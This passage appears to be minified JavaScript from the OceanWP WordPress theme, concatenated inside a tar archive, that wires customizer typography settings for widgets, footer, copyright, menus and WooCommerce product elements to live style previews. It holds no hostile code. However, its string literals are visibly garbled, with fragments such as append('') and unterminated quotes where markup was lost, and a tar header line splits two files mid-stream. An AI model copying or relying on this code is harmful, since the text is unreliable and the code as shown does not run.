","%20")).replace(",","%2C"),o=oceanwpTG.googleFontsUrl+"/css?family="+e+":"+oceanwpTG.googleFontsWeight,i("#"+t).length?i("#"+t).attr("href",o):i("head").append(''));var o=i(".customizer-typography-widgets-font-family");e?(e='",o.length?o.replaceWith(e):i("head").append(e)):o.remove()})}),e("widgets_typography[font-weight]",function(e){e.bind(function(e){var t=i(".customizer-typography-widgets-font-weight");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("widgets_typography[font-style]",function(e){e.bind(function(e){var t=i(".customizer-typography-widgets-font-style");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("widgets_typography[font-size]",function(e){e.bind(function(e){var t=i(".customizer-typography-widgets-font-size");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("widgets_tablet_typography[font-size]",function(e){e.bind(function(e){var t=i(".customizer-typography-widgets-tablet-font-size");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("widgets_mobile_typography[font-size]",function(e){e.bind(function(e){var t=i(".customizer-typography-widgets-mobile-font-size");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("widgets_typography[color]",function(e){e.bind(function(e){var t=i(".customizer-typography-widgets-color");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("widgets_typography[line-height]",function(e){e.bind(function(e){var t=i(".customizer-typography-widgets-line-height");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("widgets_tablet_typography[line-height]",function(e){e.bind(function(e){var t=i(".customizer-typography-widgets-tablet-line-height");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("widgets_mobile_typography[line-height]",function(e){e.bind(function(e){var t=i(".customizer-typography-widgets-mobile-line-height");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("widgets_typography[letter-spacing]",function(e){e.bind(function(e){var t=i(".customizer-typography-widgets-letter-spacing");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("widgets_tablet_typography[letter-spacing]",function(e){e.bind(function(e){var t=i(".customizer-typography-widgets-tablet-letter-spacing");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("widgets_mobile_typography[letter-spacing]",function(e){e.bind(function(e){var t=i(".customizer-typography-widgets-mobile-letter-spacing");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("widgets_typography[text-transform]",function(e){e.bind(function(e){var t=i(".customizer-typography-widgets-text-transform");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("footer_widget_title_typography[font-family]",function(e){e.bind(function(e){var t;e&&(e.trim().toLowerCase().replace(" ","-"),t="customizer-typography-footer_widget_title-font-family",o=(o=e.replace(" ","%20")).replace(",","%2C"),o=oceanwpTG.googleFontsUrl+"/css?family="+e+":"+oceanwpTG.googleFontsWeight,i("#"+t).length?i("#"+t).attr("href",o):i("head").append(''));var o=i(".customizer-typography-footer_widget_title-font-family");e?(e='",o.length?o.replaceWith(e):i("head").append(e)):o.remove()})}),e("footer_widget_title_typography[font-weight]",function(e){e.bind(function(e){var t=i(".customizer-typography-footer_widget_title-font-weight");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("footer_widget_title_typography[font-style]",function(e){e.bind(function(e){var t=i(".customizer-typography-footer_widget_title-font-style");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("footer_widget_title_typography[font-size]",function(e){e.bind(function(e){var t=i(".customizer-typography-footer_widget_title-font-size");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("footer_widget_title_tablet_typography[font-size]",function(e){e.bind(function(e){var t=i(".customizer-typography-footer_widget_title-tablet-font-size");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("footer_widget_title_mobile_typography[font-size]",function(e){e.bind(function(e){var t=i(".customizer-typography-footer_widget_title-mobile-font-size");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("footer_widget_title_typography[color]",function(e){e.bind(function(e){var t=i(".customizer-typography-footer_widget_title-color");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("footer_widget_title_typography[line-height]",function(e){e.bind(function(e){var t=i(".customizer-typography-footer_widget_title-line-height");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("footer_widget_title_tablet_typography[line-height]",function(e){e.bind(function(e){var t=i(".customizer-typography-footer_widget_title-tablet-line-height");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("footer_widget_title_mobile_typography[line-height]",function(e){e.bind(function(e){var t=i(".customizer-typography-footer_widget_title-mobile-line-height");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("footer_widget_title_typography[letter-spacing]",function(e){e.bind(function(e){var t=i(".customizer-typography-footer_widget_title-letter-spacing");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("footer_widget_title_tablet_typography[letter-spacing]",function(e){e.bind(function(e){var t=i(".customizer-typography-footer_widget_title-tablet-letter-spacing");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("footer_widget_title_mobile_typography[letter-spacing]",function(e){e.bind(function(e){var t=i(".customizer-typography-footer_widget_title-mobile-letter-spacing");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("footer_widget_title_typography[text-transform]",function(e){e.bind(function(e){var t=i(".customizer-typography-footer_widget_title-text-transform");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("copyright_typography[font-family]",function(e){e.bind(function(e){var t;e&&(e.trim().toLowerCase().replace(" ","-"),t="customizer-typography-copyright-font-family",o=(o=e.replace(" ","%20")).replace(",","%2C"),o=oceanwpTG.googleFontsUrl+"/css?family="+e+":"+oceanwpTG.googleFontsWeight,i("#"+t).length?i("#"+t).attr("href",o):i("head").append(''));var o=i(".customizer-typography-copyright-font-family");e?(e='",o.length?o.replaceWith(e):i("head").append(e)):o.remove()})}),e("copyright_typography[font-weight]",function(e){e.bind(function(e){var t=i(".customizer-typography-copyright-font-weight");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("copyright_typography[font-style]",function(e){e.bind(function(e){var t=i(".customizer-typography-copyright-font-style");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("copyright_typography[font-size]",function(e){e.bind(function(e){var t=i(".customizer-typography-copyright-font-size");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("copyright_tablet_typography[font-size]",function(e){e.bind(function(e){var t=i(".customizer-typography-copyright-tablet-font-size");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("copyright_mobile_typography[font-size]",function(e){e.bind(function(e){var t=i(".customizer-typography-copyright-mobile-font-size");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("copyright_typography[color]",function(e){e.bind(function(e){var t=i(".customizer-typography-copyright-color");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("copyright_typography[line-height]",function(e){e.bind(function(e){var t=i(".customizer-typography-copyright-line-height");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("copyright_tablet_typography[line-height]",function(e){e.bind(function(e){var t=i(".customizer-typography-copyright-tablet-line-height");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("copyright_mobile_typography[line-height]",function(e){e.bind(function(e){var t=i(".customizer-typography-copyright-mobile-line-height");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("copyright_typography[letter-spacing]",function(e){e.bind(function(e){var t=i(".customizer-typography-copyright-letter-spacing");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("copyright_tablet_typography[letter-spacing]",function(e){e.bind(function(e){var t=i(".customizer-typography-copyright-tablet-letter-spacing");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("copyright_mobile_typography[letter-spacing]",function(e){e.bind(function(e){var t=i(".customizer-typography-copyright-mobile-letter-spacing");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("copyright_typography[text-transform]",function(e){e.bind(function(e){var t=i(".customizer-typography-copyright-text-transform");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("footer_menu_typography[font-family]",function(e){e.bind(function(e){var t;e&&(e.trim().toLowerCase().replace(" ","-"),t="customizer-typography-footer_menu-font-family",o=(o=e.replace(" ","%20")).replace(",","%2C"),o=oceanwpTG.googleFontsUrl+"/css?family="+e+":"+oceanwpTG.googleFontsWeight,i("#"+t).length?i("#"+t).attr("href",o):i("head").append(''));var o=i(".customizer-typography-footer_menu-font-family");e?(e='",o.length?o.replaceWith(e):i("head").append(e)):o.remove()})}),e("footer_menu_typography[font-weight]",function(e){e.bind(function(e){var t=i(".customizer-typography-footer_menu-font-weight");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("footer_menu_typography[font-style]",function(e){e.bind(function(e){var t=i(".customizer-typography-footer_menu-font-style");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("footer_menu_typography[font-size]",function(e){e.bind(function(e){var t=i(".customizer-typography-footer_menu-font-size");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("footer_menu_tablet_typography[font-size]",function(e){e.bind(function(e){var t=i(".customizer-typography-footer_menu-tablet-font-size");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("footer_menu_mobile_typography[font-size]",function(e){e.bind(function(e){var t=i(".customizer-typography-footer_menu-mobile-font-size");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("footer_menu_typography[color]",function(e){e.bind(function(e){var t=i(".customizer-typography-footer_menu-color");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("footer_menu_typography[line-height]",function(e){e.bind(function(e){var t=i(".customizer-typography-footer_menu-line-height");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("footer_menu_tablet_typography[line-height]",function(e){e.bind(function(e){var t=i(".customizer-typography-footer_menu-tablet-line-height");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("footer_menu_mobile_typography[line-height]",function(e){e.bind(function(e){var t=i(".customizer-typography-footer_menu-mobile-line-height");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("footer_menu_typography[letter-spacing]",function(e){e.bind(function(e){var t=i(".customizer-typography-footer_menu-letter-spacing");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("footer_menu_tablet_typography[letter-spacing]",function(e){e.bind(function(e){var t=i(".customizer-typography-footer_menu-tablet-letter-spacing");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("footer_menu_mobile_typography[letter-spacing]",function(e){e.bind(function(e){var t=i(".customizer-typography-footer_menu-mobile-letter-spacing");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("footer_menu_typography[text-transform]",function(e){e.bind(function(e){var t=i(".customizer-typography-footer_menu-text-transform");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})})}(jQuery);customizer/assets/js/woo-typography-customize-preview.min.js000064400000174512151551031110020520 0ustar00!function(i){var e=wp.customize;e("woo_product_title_typography[font-family]",function(e){e.bind(function(e){var t;e&&(e.trim().toLowerCase().replace(" ","-"),t="customizer-typography-product-title-font-family",o=(o=e.replace(" ","%20")).replace(",","%2C"),o=oceanwpTG.googleFontsUrl+"/css?family="+e+":"+oceanwpTG.googleFontsWeight,i("#"+t).length?i("#"+t).attr("href",o):i("head").append(''));var o=i(".customizer-typography-product-title-font-family");e?(e='",o.length?o.replaceWith(e):i("head").append(e)):o.remove()})}),e("woo_product_title_typography[font-weight]",function(e){e.bind(function(e){var t=i(".customizer-typography-product-title-font-weight");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("woo_product_title_typography[font-style]",function(e){e.bind(function(e){var t=i(".customizer-typography-product-title-font-style");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("woo_product_title_typography[font-size]",function(e){e.bind(function(e){var t=i(".customizer-typography-product-title-font-size");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("woo_product_title_tablet_typography[font-size]",function(e){e.bind(function(e){var t=i(".customizer-typography-woo_product_title-tablet-font-size");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("woo_product_title_mobile_typography[font-size]",function(e){e.bind(function(e){var t=i(".customizer-typography-woo_product_title-mobile-font-size");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("woo_product_title_typography[color]",function(e){e.bind(function(e){var t=i(".customizer-typography-product-title-color");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("woo_product_title_typography[line-height]",function(e){e.bind(function(e){var t=i(".customizer-typography-product-title-line-height");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("woo_product_title_tablet_typography[line-height]",function(e){e.bind(function(e){var t=i(".customizer-typography-woo_product_title-tablet-line-height");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("woo_product_title_mobile_typography[line-height]",function(e){e.bind(function(e){var t=i(".customizer-typography-woo_product_title-mobile-line-height");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("woo_product_title_typography[letter-spacing]",function(e){e.bind(function(e){var t=i(".customizer-typography-product-title-letter-spacing");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("woo_product_title_tablet_typography[letter-spacing]",function(e){e.bind(function(e){var t=i(".customizer-typography-woo_product_title-tablet-letter-spacing");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("woo_product_title_mobile_typography[letter-spacing]",function(e){e.bind(function(e){var t=i(".customizer-typography-woo_product_title-mobile-letter-spacing");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("woo_product_title_typography[text-transform]",function(e){e.bind(function(e){var t=i(".customizer-typography-product-title-text-transform");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("woo_product_price_typography[font-family]",function(e){e.bind(function(e){var t;e&&(e.trim().toLowerCase().replace(" ","-"),t="customizer-typography-product-price-font-family",o=(o=e.replace(" ","%20")).replace(",","%2C"),o=oceanwpTG.googleFontsUrl+"/css?family="+e+":"+oceanwpTG.googleFontsWeight,i("#"+t).length?i("#"+t).attr("href",o):i("head").append(''));var o=i(".customizer-typography-product-price-font-family");e?(e='",o.length?o.replaceWith(e):i("head").append(e)):o.remove()})}),e("woo_product_price_typography[font-weight]",function(e){e.bind(function(e){var t=i(".customizer-typography-product-price-font-weight");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("woo_product_price_typography[font-style]",function(e){e.bind(function(e){var t=i(".customizer-typography-product-price-font-style");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("woo_product_price_typography[font-size]",function(e){e.bind(function(e){var t=i(".customizer-typography-product-price-font-size");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("woo_product_price_tablet_typography[font-size]",function(e){e.bind(function(e){var t=i(".customizer-typography-product-price-tablet-font-size");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("woo_product_price_mobile_typography[font-size]",function(e){e.bind(function(e){var t=i(".customizer-typography-product-price-mobile-font-size");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("woo_product_price_typography[line-height]",function(e){e.bind(function(e){var t=i(".customizer-typography-product-price-line-height");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("woo_product_price_tablet_typography[line-height]",function(e){e.bind(function(e){var t=i(".customizer-typography-product-price-tablet-line-height");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("woo_product_price_mobile_typography[line-height]",function(e){e.bind(function(e){var t=i(".customizer-typography-product-price-mobile-line-height");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("woo_product_price_typography[letter-spacing]",function(e){e.bind(function(e){var t=i(".customizer-typography-product-price-letter-spacing");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("woo_product_price_tablet_typography[letter-spacing]",function(e){e.bind(function(e){var t=i(".customizer-typography-product-price-tablet-letter-spacing");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("woo_product_price_mobile_typography[letter-spacing]",function(e){e.bind(function(e){var t=i(".customizer-typography-product-price-mobile-letter-spacing");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("woo_product_price_typography[text-transform]",function(e){e.bind(function(e){var t=i(".customizer-typography-product-price-text-transform");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("woo_product_add_to_cart_typography[font-family]",function(e){e.bind(function(e){var t;e&&(e.trim().toLowerCase().replace(" ","-"),t="customizer-typography-add-to-cart-font-family",o=(o=e.replace(" ","%20")).replace(",","%2C"),o=oceanwpTG.googleFontsUrl+"/css?family="+e+":"+oceanwpTG.googleFontsWeight,i("#"+t).length?i("#"+t).attr("href",o):i("head").append(''));var o=i(".customizer-typography-add-to-cart-font-family");e?(e='",o.length?o.replaceWith(e):i("head").append(e)):o.remove()})}),e("woo_product_add_to_cart_typography[font-weight]",function(e){e.bind(function(e){var t=i(".customizer-typography-add-to-cart-font-weight");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("woo_product_add_to_cart_typography[font-style]",function(e){e.bind(function(e){var t=i(".customizer-typography-add-to-cart-font-style");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("woo_product_add_to_cart_typography[font-size]",function(e){e.bind(function(e){var t=i(".customizer-typography-add-to-cart-font-size");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("woo_product_add_to_cart_tablet_typography[font-size]",function(e){e.bind(function(e){var t=i(".customizer-typography-woo_product_add_to_cart-tablet-font-size");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("woo_product_add_to_cart_mobile_typography[font-size]",function(e){e.bind(function(e){var t=i(".customizer-typography-woo_product_add_to_cart-mobile-font-size");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("woo_product_add_to_cart_typography[line-height]",function(e){e.bind(function(e){var t=i(".customizer-typography-add-to-cart-line-height");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("woo_product_add_to_cart_tablet_typography[line-height]",function(e){e.bind(function(e){var t=i(".customizer-typography-woo_product_add_to_cart-tablet-line-height");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("woo_product_add_to_cart_mobile_typography[line-height]",function(e){e.bind(function(e){var t=i(".customizer-typography-woo_product_add_to_cart-mobile-line-height");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("woo_product_add_to_cart_typography[letter-spacing]",function(e){e.bind(function(e){var t=i(".customizer-typography-add-to-cart-letter-spacing");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("woo_product_add_to_cart_tablet_typography[letter-spacing]",function(e){e.bind(function(e){var t=i(".customizer-typography-woo_product_add_to_cart-tablet-letter-spacing");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("woo_product_add_to_cart_mobile_typography[letter-spacing]",function(e){e.bind(function(e){var t=i(".customizer-typography-woo_product_add_to_cart-mobile-letter-spacing");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("woo_product_add_to_cart_typography[text-transform]",function(e){e.bind(function(e){var t=i(".customizer-typography-add-to-cart-text-transform");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("woo_single_notice_typography[font-family]",function(e){e.bind(function(e){var t;e&&(e.trim().toLowerCase().replace(" ","-"),t="customizer-typography-single-notice-font-family",o=(o=e.replace(" ","%20")).replace(",","%2C"),o=oceanwpTG.googleFontsUrl+"/css?family="+e+":"+oceanwpTG.googleFontsWeight,i("#"+t).length?i("#"+t).attr("href",o):i("head").append(''));var o=i(".customizer-typography-single-notice-font-family");e?(e='",o.length?o.replaceWith(e):i("head").append(e)):o.remove()})}),e("woo_single_notice_typography[font-weight]",function(e){e.bind(function(e){var t=i(".customizer-typography-single-notice-font-weight");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("woo_single_notice_typography[font-style]",function(e){e.bind(function(e){var t=i(".customizer-typography-single-notice-font-style");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("woo_single_notice_typography[font-size]",function(e){e.bind(function(e){var t=i(".customizer-typography-single-notice-font-size");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("woo_single_notice_tablet_typography[font-size]",function(e){e.bind(function(e){var t=i(".customizer-typography-woo_single_notice-tablet-font-size");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("woo_single_notice_mobile_typography[font-size]",function(e){e.bind(function(e){var t=i(".customizer-typography-woo_single_notice-mobile-font-size");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("woo_single_notice_typography[line-height]",function(e){e.bind(function(e){var t=i(".customizer-typography-single-notice-line-height");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("woo_single_notice_tablet_typography[line-height]",function(e){e.bind(function(e){var t=i(".customizer-typography-woo_single_notice-tablet-line-height");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("woo_single_notice_mobile_typography[line-height]",function(e){e.bind(function(e){var t=i(".customizer-typography-woo_single_notice-mobile-line-height");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("woo_single_notice_typography[letter-spacing]",function(e){e.bind(function(e){var t=i(".customizer-typography-single-notice-letter-spacing");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("woo_single_notice_tablet_typography[letter-spacing]",function(e){e.bind(function(e){var t=i(".customizer-typography-woo_single_notice-tablet-letter-spacing");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("woo_single_notice_mobile_typography[letter-spacing]",function(e){e.bind(function(e){var t=i(".customizer-typography-woo_single_notice-mobile-letter-spacing");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("woo_single_notice_typography[text-transform]",function(e){e.bind(function(e){var t=i(".customizer-typography-single-notice-text-transform");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("woo_archive_title_typography[font-family]",function(e){e.bind(function(e){var t;e&&(e.trim().toLowerCase().replace(" ","-"),t="customizer-typography-archive-title-font-family",o=(o=e.replace(" ","%20")).replace(",","%2C"),o=oceanwpTG.googleFontsUrl+"/css?family="+e+":"+oceanwpTG.googleFontsWeight,i("#"+t).length?i("#"+t).attr("href",o):i("head").append(''));var o=i(".customizer-typography-archive-title-font-family");e?(e='",o.length?o.replaceWith(e):i("head").append(e)):o.remove()})}),e("woo_archive_title_typography[font-weight]",function(e){e.bind(function(e){var t=i(".customizer-typography-woo-archive-title-font-weight");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("woo_archive_title_typography[font-style]",function(e){e.bind(function(e){var t=i(".customizer-typography-woo-archive-title-font-style");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("woo_archive_title_typography[font-size]",function(e){e.bind(function(e){var t=i(".customizer-typography-woo-archive-title-font-size");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("woo_archive_title_tablet_typography[font-size]",function(e){e.bind(function(e){var t=i(".customizer-typography-woo_archive_title-tablet-font-size");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("woo_archive_title_mobile_typography[font-size]",function(e){e.bind(function(e){var t=i(".customizer-typography-woo_archive_title-mobile-font-size");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("woo_archive_title_typography[line-height]",function(e){e.bind(function(e){var t=i(".customizer-typography-woo-archive-title-line-height");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("woo_archive_title_tablet_typography[line-height]",function(e){e.bind(function(e){var t=i(".customizer-typography-woo_archive_title-tablet-line-height");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("woo_archive_title_mobile_typography[line-height]",function(e){e.bind(function(e){var t=i(".customizer-typography-woo_archive_title-mobile-line-height");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("woo_archive_title_typography[letter-spacing]",function(e){e.bind(function(e){var t=i(".customizer-typography-woo-archive-title-letter-spacing");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("woo_archive_title_tablet_typography[letter-spacing]",function(e){e.bind(function(e){var t=i(".customizer-typography-woo_archive_title-tablet-letter-spacing");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("woo_archive_title_mobile_typography[letter-spacing]",function(e){e.bind(function(e){var t=i(".customizer-typography-woo_archive_title-mobile-letter-spacing");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("woo_archive_title_typography[text-transform]",function(e){e.bind(function(e){var t=i(".customizer-typography-woo-archive-title-text-transform");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("woo_archive_cats_typography[font-family]",function(e){e.bind(function(e){var t;e&&(e.trim().toLowerCase().replace(" ","-"),t="customizer-typography-archive-category-font-family",o=(o=e.replace(" ","%20")).replace(",","%2C"),o=oceanwpTG.googleFontsUrl+"/css?family="+e+":"+oceanwpTG.googleFontsWeight,i("#"+t).length?i("#"+t).attr("href",o):i("head").append(''));var o=i(".customizer-typography-archive-category-font-family");e?(e='",o.length?o.replaceWith(e):i("head").append(e)):o.remove()})}),e("woo_archive_cats_typography[font-weight]",function(e){e.bind(function(e){var t=i(".customizer-typography-woo-archive-category-font-weight");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("woo_archive_cats_typography[font-style]",function(e){e.bind(function(e){var t=i(".customizer-typography-woo-archive-category-font-style");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("woo_archive_cats_typography[font-size]",function(e){e.bind(function(e){var t=i(".customizer-typography-woo-archive-category-font-size");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("woo_archive_cats_tablet_typography[font-size]",function(e){e.bind(function(e){var t=i(".customizer-typography-woo_archive_category-tablet-font-size");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("woo_archive_cats_mobile_typography[font-size]",function(e){e.bind(function(e){var t=i(".customizer-typography-woo_archive_category-mobile-font-size");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("woo_archive_cats_typography[line-height]",function(e){e.bind(function(e){var t=i(".customizer-typography-woo-archive-category-line-height");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("woo_archive_cats_tablet_typography[line-height]",function(e){e.bind(function(e){var t=i(".customizer-typography-woo_archive_category-tablet-line-height");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("woo_archive_cats_mobile_typography[line-height]",function(e){e.bind(function(e){var t=i(".customizer-typography-woo_archive_category-mobile-line-height");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("woo_archive_cats_typography[letter-spacing]",function(e){e.bind(function(e){var t=i(".customizer-typography-woo-archive-category-letter-spacing");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("woo_archive_cats_tablet_typography[letter-spacing]",function(e){e.bind(function(e){var t=i(".customizer-typography-woo_archive_category-tablet-letter-spacing");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("woo_archive_cats_mobile_typography[letter-spacing]",function(e){e.bind(function(e){var t=i(".customizer-typography-woo_archive_category-mobile-letter-spacing");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("woo_archive_cats_typography[text-transform]",function(e){e.bind(function(e){var t=i(".customizer-typography-woo-archive-category-text-transform");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("woo_archive_price_typography[font-family]",function(e){e.bind(function(e){var t;e&&(e.trim().toLowerCase().replace(" ","-"),t="customizer-typography-archive-price-font-family",o=(o=e.replace(" ","%20")).replace(",","%2C"),o=oceanwpTG.googleFontsUrl+"/css?family="+e+":"+oceanwpTG.googleFontsWeight,i("#"+t).length?i("#"+t).attr("href",o):i("head").append(''));var o=i(".customizer-typography-archive-price-font-family");e?(e='",o.length?o.replaceWith(e):i("head").append(e)):o.remove()})}),e("woo_archive_price_typography[font-weight]",function(e){e.bind(function(e){var t=i(".customizer-typography-woo-archive-price-font-weight");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("woo_archive_price_typography[font-style]",function(e){e.bind(function(e){var t=i(".customizer-typography-woo-archive-price-font-style");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("woo_archive_price_typography[font-size]",function(e){e.bind(function(e){var t=i(".customizer-typography-woo-archive-price-font-size");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("woo_archive_price_tablet_typography[font-size]",function(e){e.bind(function(e){var 